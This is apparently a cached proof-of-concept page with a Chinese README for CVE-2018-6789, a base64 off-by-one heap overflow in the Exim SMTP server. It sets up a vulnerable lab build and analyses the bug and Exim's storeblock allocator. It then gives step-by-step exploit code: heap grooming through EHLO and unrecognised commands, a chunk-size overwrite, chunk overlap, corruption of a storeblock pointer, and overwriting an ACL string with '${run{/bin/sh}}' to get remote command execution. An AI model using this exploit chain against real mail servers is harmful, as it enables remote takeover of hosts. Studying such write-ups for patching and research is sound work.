Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2018-6789 PoC — Exim SMTP listener 缓冲区错误漏洞

Source
Associated Vulnerability
Title:Exim SMTP listener 缓冲区错误漏洞 (CVE-2018-6789)
Description:Exim是英国剑桥大学开发的一个运行于Unix系统中的开源消息传送代理(MTA),它主要负责邮件的路由、转发和投递。SMTP listener是其中的一个SMTP(简单邮件传输协议)监听器。 Exim 4.90及之前版本中的SMTP listener存在缓冲区溢出漏洞。远程攻击者可通过发送特制的消息利用该漏洞执行代码。
Readme
# CVE-2018-6789

## 环境搭建
安装依赖
````shell
apt-get install gcc net-tools vim gdb python wget git make procps libpcre3-dev libdb-dev libxt-dev libxaw7-dev
````
下载旧版本的exim
```shell
wget ftp://mirror.easyname.at/exim-ftp/exim/exim4/old/exim-4.89.tar.gz
tar -xvzf ./exim-4.89.tar.gz
cd ./exim-4.89
cp src/EDITME Local/Makefile
cp exim_monitor/EDITME Local/eximon.conf
````
然后修改Local/Makefile
为了方便其中各个文件夹都指向当前目录下
````shell
BIN_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/bin
CONFIGURE_FILE=/home/zzx/EVA/cve-2018-6789/exim-4.89/configure
SPOOL_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/exim
EXIM_USER=zzx
AUTH_PLAINTEXT=yes
AUTH_CRAM_MD5=yes
AUTH_TLS=yes
````
这样便于调试
然后编译安装
````shell
make install
````
修改./configure, 直接用下面内容覆盖
````
acl_smtp_mail=acl_check_mail
acl_smtp_data=acl_check_data
begin acl
acl_check_mail:
  .ifdef CHECK_MAIL_HELO_ISSUED
  deny
    message = no HELO given before MAIL command
    condition = ${if def:sender_helo_name {no}{yes}}
  .endif

  accept

acl_check_data:
  accept

begin authenticators
fixed_cram:
  driver = cram_md5
  public_name = CRAM-MD5
  server_secret = ${if eq{$auth1}{ph10}{secret}fail}
  server_set_id = $auth1
````

## 运行
````shell
./bin/exim -bd -d-receive
````
## 漏洞分析
首先先分析位于base64.c中的patch:
![1](images/1.png)
其中result是base64解码结果存放的buffer,由store_get函数获取
可以发现patch之前的size计算是有问题的,当size属于4n~4n+3的范围里面的时候,计算得到的size的长度是相等的,但是b64decode对于非4的倍数的参数进行解码的时候会多解出一两个字节

比如我们直接发送
```python
auth_md5('Hf'*42)
```
size=0x40\
结果的内存分布:
```shell
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  │....│....│....│....│
+0010 0x711d70  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  │....│....│....│....│
+0020 0x711d80  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  │....│....│....│....│
+0030 0x711d90  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 00  │....│....│....│....│
+0040 0x711da0  20 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │.aaa│aaaa│aaaa│aaaa│
```

再试试
```python
auth_md5('Hf'*42+'HfH')
```
size=0x40
```shell
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  │....│....│....│....│
+0010 0x711d70  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  │....│....│....│....│
+0020 0x711d80  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  │....│....│....│....│
+0030 0x711d90  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  │....│....│....│....│
+0040 0x711da0  f1 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │.aaa│aaaa│aaaa│aaaa│
```
溢出了两个字节

## Exim内存管理机制
exim为了提升性能在原有的堆管理机制上自己实现了一套内存管理机制,它相当于处于代码和glibc之间的一个中间缓冲,目的是减少malloc和free的次数
![2](images/2.png)
对于exim来说一个单独的堆块称为storeblock,每次使用时从里面分割出合适大小的缓冲区使用,如果一个storeblock用完了就再malloc一个storeblock。
对于每个storeblock来说,它的结构是一个简单的单链表:
```c
/* Structure describing the beginning of each big block. */
typedef struct storeblock {
  struct storeblock *next;
  size_t length;
} storeblock;
```
程序使用堆的时候主要使用的api在store.c中:
```c
store_get
store_release
store_extend
store_reset
```
其中store_get用于获取缓冲区,关键代码如下:
```c
128 void *
129 store_get_3(int size, const char *filename, int linenumber)
....
145   int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
...
161   /* If there was no free block, get a new one */
162 
163   if (!newblock)
164     {
165     pool_malloc += mlength;           /* Used in pools */
166     nonpool_malloc -= mlength;        /* Exclude from overall total */
167     newblock = store_malloc(mlength);
...

```
可以看到每次申请的store_block最小长度为STORE_BLOCK_SIZE, 即8192

所以一个8192大小的store_block,加上它的结构头部以及堆块头部后总大小为0x2020
![3](images/3.png)

在exim每次执行client发送过来的指令的时候,如果指令执行成功,就会调用store_reset将不需要的缓存、多出来的store_block进行释放\
这里指的执行成功包括指令的格式正确,邮箱不包含非法字符等等,否则不会调用store_reset

## 利用思路
这个漏洞是一个经典的off-by-one(尽管其实可以溢出2个字节),但是由于溢出的字节数较少,无法直接覆盖堆块上的敏感结构,所以这里需要通过一些ptmalloc的特性将这个漏洞的影响扩大,将其转化为一个更大范围的overflow, 或者说overlap\
对于off-by-one的漏洞,有一个经典的利用方法就是chunk enlarge -> chunk overlap, 通过将堆块的size改大,再伪造一个堆头用于bypass glibc sanity check,以此达到堆块的重叠造成更大范围的覆盖。

这里主要的过程就是通过chunk enlarge -> chunk overlap -> corrupt next pointer in storeblock,再触发store_reset造成一个任意堆块的free,再次申请到这个堆块就能对它的内容进行修改(type confusion)。
meh在文章中推荐修改ACL字符串所在的堆块,因为在ACL字串的处理中存在一个命令执行的功能
ACL的字符串非常多,但是大多数都是NULL(可能和配置文件有关),这里我选择的是acl_smtp_mail字符串,其执行命令的语法为
```shell
${run{command}}
```

大概的堆布局如下
![4](images/4.png)

其中第一个堆块是base64解码得到的堆块,用于off-by-one,因此它应该处于一个storeblock的末尾,为了方便起见这里直接申请一个大于0x2020的堆块存放base64解码结果;\
第二个堆块为sender_helo_name,用于覆盖下一个堆块。sender_helo_name不是存在storeblock中,而是直接malloc出来的:
```c
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
...
1884 if (yield) sender_helo_name = string_copy_malloc(start);
```
所以大小随意;\
第三个堆块为base64解码得到的堆块,主要用于伪造头部并被覆盖,因此它应该处于一个storeblock的起始部位,为了方便起见也直接申请0x2020大小。

## Exploit
我的exp也是按照网上别人的分析一步一步得到的,大体思路不变,不过堆的布局和别人有些不一样,所有有些小的参数是不同的

首先先生成一个大小为0x6060的unsortedbin,只需要如下指令就能实现
```python
ehlo('a'*0x1000)
```
当exim接收到"EHLO "+'a'\*0x1000后,会在match.c的match_check_list函数中生成以下三个字符串
```
*name* in helo_lookup_domains? no (end of list)
sender_fullhost = (*name*) [127.0.0.1]
sender_rcvhost = [127.0.0.1] (helo=*name*)
其中*name*为'a'*0x1000
```
由于name的长度为0x1000,所以每个字符串会单独占用一个storeblock,这三个字符串就会分别处于连续的三个storeblock中
当exim成功完成ehlo指令后,会在smtp_in.c的smtp_setup_msg中将前面的三个字符串进行释放,得到一个0x6060大小的堆块:
```c
4369     cancel_cutthrough_connection(TRUE, US"sent EHLO response");
4370     smtp_reset(reset_point);
4371     toomany = FALSE;
4372     break;   /* HELO/EHLO */
```
这时候的堆布局如下:
![5](images/5.png)

为了将sender_helo_name置于堆块的中间,我们需要将原来的sender_helo_name释放,然后将顶部的堆块占位,当第二个sender_helo_name占位后,再释放顶部堆块。\
这里我使用的unrecognize command进行占位。因为接收到unrecognize command相当于指令执行失败,再下一次执行执行成功后会自动被释放\
需要注意的是,使用unrecognize command占位的原理是发送给command给exim后,exim会调用synprot_error报错,类似于:
```
79099 LOG: smtp_syntax_error MAIN
  SMTP syntax error in "yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
**** debug string too long - truncated ****
```
但是如果command全是可见字符,exim将不会为其malloc新的堆块:
```c
 290 const uschar *
 291 string_printing2(const uschar *s, BOOL allow_tab)
 292 {
 293 int nonprintcount = 0;
 294 int length = 0;
 295 const uschar *t = s;
 296 uschar *ss, *tt;
 297 
 298 while (*t != 0)
 299   {
 300   int c = *t++;
 301   if (!mac_isprint(c) || (!allow_tab && c == '\t')) nonprintcount++;
 302   length++;
 303   }
 304 
 305 if (nonprintcount == 0) return s;
 306 
 307 /* Get a new block of store guaranteed big enough to hold the
 308 expanded string. */
 309 
 310 ss = store_get(length + nonprintcount * 3 + 1);
 ...
```
若command里面包含不可见字符,那么exim会申请一个新的buffer,并且将其中的不可见字符转为8进制字符串,比如'\xee'->"\\356", 这就是length + (nonprintcount * 3 + 1)的来历

所以先将sender_ehlo_name放到一个小的堆块,然后尝试发送0x800个'\xee',这会申请0x800 + 1 + 0x800 * 3=0x2001,当前的storeblock中没有这么大的位置,所以会申请一个新的store_block
```python
ehlo('b'*0x20)
unrec('\xee'*0x800)
```
![6](images/6.png)

然后申请一个0x2010大小的sender_elho_name:
```python
ehlo('x'*0x2020)
```
这样会先把原先0x20的sender_elho_name释放掉:
```c
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
1835 uschar *start = s;
1836 uschar *end = s + Ustrlen(s);
1837 BOOL yield = helo_accept_junk;
1838 
1839 /* Discard any previous helo name */
1840 
1841 if (sender_helo_name != NULL)
1842   {
1843   store_free(sender_helo_name);
1844   sender_helo_name = NULL;
1845   }
...
```
然后申请一个新的sender_helo_name,当一切完成后,调用store_reset清除不需要的堆块,这样0x2020大小的error message会被free,并且和上面的已经被释放的sender_helo_name发生malloc_consolidate形成一个0x2050大小的新的堆块:
![7](images/7.png)

这样堆布局基本就算完成了,接下来直接占位以及触发漏洞
```python
payload = "d"*(0x2020+0x30-0x18-1)
auth_md5(b64encode(payload)+"EfE")
```
占位顶部的堆块,溢出一个字节将size 0x2021改为0x20f1
然后占位最下面的堆块,伪造一个0x1f61的size,使其指向下一个堆块
```python
payload2 = 'm'*0x38+p64(0x1f61) 
auth_md5(b64encode(payload2))
```
这里再申请一个堆块,因为不然的话被覆盖的storeblock是最后一个storeblock,next为null
```python
auth_md5(b64encode('a'*0x1000))
```

这时候可以释放sender_helo_name来造成chunk overlap了。不过这里有一个点需要注意,因为我们还需要最下面那个堆块来提供next指针(我们覆盖它来达到任意地址free),所以我们并不希望这个堆块被free,所以可以构造一个无效的name来仅仅释放sender_helo_name:
```c
2079 static int
2080 smtp_setup_batch_msg(void)
2081 {
2082 int done = 0;
2083 void *reset_point = store_get(0);

...
3998     HELO_EHLO:      /* Common code for HELO and EHLO */
3999     cmd_list[CMD_LIST_HELO].is_mail_cmd = FALSE;
4000     cmd_list[CMD_LIST_EHLO].is_mail_cmd = FALSE;
4001 
4002     /* Reject the HELO if its argument was invalid or non-existent. A
4003     successful check causes the argument to be saved in malloc store. */
4004 
4005     if (!check_helo(smtp_cmd_data))
4006       {
...
4022       break;
4023       } 
```
如果check_helo不通过,那么程序会跳出这个循环而不会调用store_reset,那么再来看看check_helo的代码逻辑:
```c
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
1835 uschar *start = s;
1836 uschar *end = s + Ustrlen(s);
1837 BOOL yield = helo_accept_junk;
...
1870   /* Non-literals must be alpha, dot, hyphen, plus any non-valid chars
1871   that have been configured (usually underscore - sigh). */
1872 
1873   else if (*s)
1874     for (yield = TRUE; *s; s++)
1875       if (!isalnum(*s) && *s != '.' && *s != '-' &&
1876           Ustrchr(helo_allow_chars, *s) == NULL)
1877         {
1878         yield = FALSE;
1879         break;
1880         }
...
1885 return yield;
1886 }
```
可以看到check_helo对发送来的字符进行了一些检查,包括必须是字母或者一些标点符号,或者是helo_allow_chars,不过一般helo_alow_chars是空,这个应该是在配置文件里面配置的。
所以我们可以构造一个带空格的sender_helo_name:
```python
ehlo('pwn it!')   #must include some invalide chars
```

这样就造成了堆块的重叠。
然后是占位这个堆块来覆写next指针指向acl字符串所在的堆块。这里有个问题,其它的exp利用了部分覆盖来绕过aslr,但是这个在我的环境里面行不通, 因为acl堆块和next指向的堆块相距甚远
```
pwndbg> tel 0x7214c0+0x2030
00:0000│   0x7234f0 ◂— 0x0
01:0008│   0x7234f8 ◂— 0x2021 /* '! ' */
02:0010│   0x723500 —▸ 0x728510           <== next
03:0018│   0x723508 ◂— 0x2000

pwndbg> tel 0x6f7990                      <== acl chunk
00:0000│   0x6f7990 ◂— 0x30 /* '0' */
01:0008│   0x6f7998 ◂— 0x2021 /* '! ' */
02:0010│   0x6f79a0 —▸ 0x7264f0 —▸ 0x72e5f0 —▸ 0x730640 —▸ 0x732660 ◂— ...
03:0018│   0x6f79a8 ◂— 0x2000
04:0020│   0x6f79b0 ◂— 0x7a7a2f656d6f682f ('/home/zz')
05:0028│   0x6f79b8 ◂— 0x76632f4156452f78 ('x/EVA/cv')
06:0030│   0x6f79c0 ◂— 0x362d383130322d65 ('e-2018-6')
07:0038│   0x6f79c8 ◂— 0x6d6978652f393837 ('789/exim')

```

所以我的exp采用的绝对地址
```python
payload3 = 'y'*0x2010 + p64(0) + p64(0x2021) + p64(acl_string_block+0x10) +p64(0x2008)
auth_md5(b64encode(payload3))
```

这样子将acl_string所在的堆块加入了这个store_block的链,当我们更换一个sender_helo_name后,这些堆块都会在store_reset中被free。
所以这次要发送一个合法的名称:
```python
ehlo('I'*16)
```
这次再申请一个堆块就能申请到acl string所在的堆块了:
```python
payload4='J'*0x60+'${run{/bin/sh}}\x00'
payload4+=((0x500-len(payload4))*'J')
auth_md5(b64encode(payload4))
```
这里我覆盖的是acl_smtp_mail指向的地址。基本上所有的acl的字符串都是在这个堆块里面,因为这些字符串是从configure里面挨个读取出来然后放到store_get得到的缓冲区里面,所以它们都连续存放在这个storeblock之中。
最后调用acl相关的api:
```python
r.sendline('MAIL FROM: <test@163.com>')
```
然后在smtp_setup_msg->acl_check->acl_check_internal->expand_string->expand_cstring->expand_string_internal->child_open->child_open_uid中调用execve来执行run里面的命令,下面是服务端的调试信息可以看到指令确实被执行了
![8](images/8.png)

## Reference
https://medium.com/@straightblast426/my-poc-walk-through-for-cve-2018-6789-2e402e4ff588
https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789
File Snapshot

[4.0K] /data/pocs/09288daacea59b37279114f77e4b8a4f1fd82931 ├── [2.4M] exim_test.zip ├── [4.0K] images │   ├── [ 13K] 1.png │   ├── [ 32K] 2.png │   ├── [ 18K] 3.png │   ├── [8.8K] 4.png │   ├── [ 12K] 5.png │   ├── [ 15K] 6.png │   ├── [ 16K] 7.png │   └── [ 29K] 8.png ├── [ 34K] LICENSE ├── [1.5K] myexp.py └── [ 17K] README.md 1 directory, 12 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.